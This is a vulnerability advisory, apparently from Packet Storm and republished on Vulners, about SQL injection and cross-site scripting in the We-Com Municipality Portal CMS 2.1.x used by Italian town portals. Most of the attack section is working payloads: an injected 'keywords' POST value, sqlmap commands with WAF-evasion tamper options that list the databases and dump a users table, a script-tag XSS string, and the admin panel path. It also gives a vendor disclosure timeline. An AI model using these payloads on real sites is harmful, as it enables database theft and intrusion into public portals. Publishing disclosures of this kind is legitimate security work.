Lucene search
K

We-Com Municipality Portal CMS 2.1.x Cross Site Scripting / SQL Injection

🗓️ 01 Jun 2020 00:00:00Reported by thelastvvvType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 880 Views

We-Com Municipality Portal CMS 2.1.x SQL Injection & XSS Vulnerabilit

Code
`# Exploit Title: We-com Municipality portal CMS SQL Injection & XSS Vulnerability  
# Google Dork:N/A  
# Date: 2020-04-17  
# Exploit Author: @ThelastVvV  
# Vendor Homepage: https://www.we-com.it/  
# Version: 2.1.x  
# Tested on: 5.5.0-kali1-amd64  
  
---------------------------------------------------------  
  
  
Vendor contact timeline:  
  
  
2020-05-05: Contacting vendor through [email protected]  
2020-05-26: A Patch is published in the versions  
2020-06-01: Release of security advisory  
  
  
  
  
PoC 1:  
The attacker once locate the sql vulnerability in the "keywords" parameter of the portal search bar then the attacker will be able to perform an automated process to exploit the secruity of Italien Municipality portal CMS   
Payload(s)  
  
http://www.site.it/cerca/  
POST Data: keywords='1'--  
  
SQLMAP Payload(s):  
  
  
sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs  
  
sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D **_db --tables  
  
sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D **_db -T utenti  
  
  
PoC 2 :  
  
XSS Vulnerability  
  
Payload(s) :  
http://www.site.com/cerca/   
in the search bar:  
'"<script>alert(1);</script>%  
  
  
  
Admin panel:  
  
www.site.it/admin/  
  
  
  
  
  
  
  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation